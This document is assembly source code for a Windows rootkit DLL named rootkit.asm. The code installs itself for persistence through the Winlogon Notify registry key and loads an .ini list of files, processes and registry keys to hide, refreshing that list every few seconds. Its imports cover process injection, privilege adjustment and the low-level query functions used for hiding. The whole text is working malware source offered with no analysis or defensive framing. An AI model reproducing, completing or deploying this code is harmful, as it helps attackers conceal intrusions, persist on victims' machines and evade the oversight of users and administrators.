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rootkit.asm
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rootkit.asm
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format PE GUI 4.0 DLL
include 'win32a.inc'
section '.text' code readable writeable executable
include 'micrork.inc'
sectName db 'settings', 0
hdflsName db 'HiddenFiles', 0
hdprcName db 'HiddenProcesses', 0
hdrgkName db 'HiddenRegKeys', 0
hdrvlName db 'HiddenRegValues', 0
trprName db 'TrueProcesses', 0
regPath db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify', 0
nameStr db 'DllName', 0
strtStr db 'Startup', 0
ascrStr db 'Asynchronous', 0
imprStr db 'Impersonate', 0
LoadConfigThread:
push ebp
mov ebp, esp
sub esp, 600h
push edi
lea edi, [ebp-600h]
xor eax, eax
mov ecx, 600h / 4
rep stosd
lea edi, [ebp-100h]
push 100h
push edi
push dword [ebp+8]
call [GetModuleFileName]
push edi
call SetAutorun
add edi, 100h
@@:
dec edi
cmp byte [edi], '.'
jnz @B
mov dword [edi], '.ini'
lea edi, [ebp-100h]
@@:
push edi
push 100h
lea eax, [ebp-200h]
push eax
push 0
push hdflsName
push sectName
call [GetPrivateProfileString]
test eax, eax
jz @F
push edi
push 100h
lea eax, [ebp-300h]
push eax
push 0
push hdprcName
push sectName
call [GetPrivateProfileString]
test eax, eax
jz @F
push edi
push 100h
lea eax, [ebp-400h]
push eax
push 0
push hdrgkName
push sectName
call [GetPrivateProfileString]
test eax, eax
jz @F
push edi
push 100h
lea eax, [ebp-500h]
push eax
push 0
push hdrvlName
push sectName
call [GetPrivateProfileString]
test eax, eax
jz @F
push edi
push 100h
lea eax, [ebp-600h]
push eax
push 0
push trprName
push sectName
call [GetPrivateProfileString]
test eax, eax
jz @F
lea eax, [ebp-600h]
push eax
lea eax, [ebp-500h]
push eax
lea eax, [ebp-400h]
push eax
lea eax, [ebp-300h]
push eax
lea eax, [ebp-200h]
push eax
call SetHidden
push 5000
call [Sleep]
jmp @B
@@:
pop edi
leave
retn 0Ch
SetAutorun:
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp-4]
push eax
push regPath
push HKEY_LOCAL_MACHINE
call [RegOpenKey]
test eax, eax
jnz aExit
mov eax, [ebp+8]
add eax, 100h
@@:
dec eax
cmp byte [eax-1], '\'
jnz @B
lea ebx, [ebp-8]
push ebx
push eax
push dword [ebp-4]
call [RegCreateKey]
test eax, eax
jnz @F
push dword [ebp+8]
call [lstrlen]
push eax
push dword [ebp+8]
push REG_SZ
push 0
push nameStr
push dword [ebp-8]
call [RegSetValueEx]
push 7
push strtStr
push REG_SZ
push 0
push strtStr
push dword [ebp-8]
call [RegSetValueEx]
lea esi, [ebp-0Ch]
mov dword [esi], 1
push 4
push esi
push REG_DWORD
push 0
push ascrStr
push dword [ebp-8]
call [RegSetValueEx]
mov dword [esi], 0
push 4
push esi
push REG_DWORD
push 0
push imprStr
push dword [ebp-8]
call [RegSetValueEx]
push dword [ebp-8]
call [RegCloseKey]
@@:
push dword [ebp-4]
call [RegCloseKey]
aExit:
pop esi
leave
retn 4
entry $
push ebp
mov ebp, esp
cmp dword [ebp+0Ch], DLL_PROCESS_ATTACH
jnz @F
call InitRootkit
push 0
push 0
push dword [ebp+8]
push LoadConfigThread
push 0
push 0
call [CreateThread]
test eax, eax
jz @F
push eax
call [CloseHandle]
@@:
leave
ret 0Ch
section '.idata' import data readable writeable
library kernel32, 'kernel32.dll',\
advapi32, 'advapi32.dll',\
ntdll, 'ntdll.dll'
import kernel32, \
VirtualAllocEx, 'VirtualAllocEx', \
DuplicateHandle, 'DuplicateHandle', \
WriteProcessMemory, 'WriteProcessMemory', \
CreateRemoteThread, 'CreateRemoteThread', \
CreateToolhelp32Snapshot, 'CreateToolhelp32Snapshot', \
Process32First, 'Process32First', \
Process32Next, 'Process32Next', \
OpenProcess, 'OpenProcess', \
CloseHandle, 'CloseHandle', \
VirtualProtect, 'VirtualProtect', \
MapViewOfFile, 'MapViewOfFile', \
ReadProcessMemory, 'ReadProcessMemory', \
GetModuleFileNameW, 'GetModuleFileNameW', \
CreateFileMapping, 'CreateFileMappingA', \
CreateThread, 'CreateThread', \
GetModuleFileName, 'GetModuleFileNameA', \
GetPrivateProfileString, 'GetPrivateProfileStringA', \
Sleep, 'Sleep', \
lstrlen, 'lstrlen'
import advapi32, \
OpenProcessToken, 'OpenProcessToken', \
LookupPrivilegeValue, 'LookupPrivilegeValueA', \
AdjustTokenPrivileges, 'AdjustTokenPrivileges', \
RegOpenKey, 'RegOpenKeyA', \
RegCloseKey, 'RegCloseKey', \
RegCreateKey, 'RegCreateKeyA', \
RegSetValueEx, 'RegSetValueExA'
import ntdll, \
ZwQueryDirectoryFile, 'ZwQueryDirectoryFile', \
wcsnicmp, '_wcsnicmp', \
wcscpy, 'wcscpy', \
ZwQuerySystemInformation, 'ZwQuerySystemInformation', \
ZwEnumerateValueKey, 'ZwEnumerateValueKey', \
wcsncpy, 'wcsncpy', \
ZwClose, 'ZwClose', \
ZwOpenKey, 'ZwOpenKey', \
ZwEnumerateKey, 'ZwEnumerateKey', \
RtlInitUnicodeString, 'RtlInitUnicodeString', \
wcsicmp, '_wcsicmp', \
mbstowcs, 'mbstowcs', \
ZwCreateThread, 'ZwCreateThread'
section '.reloc' fixups data discardable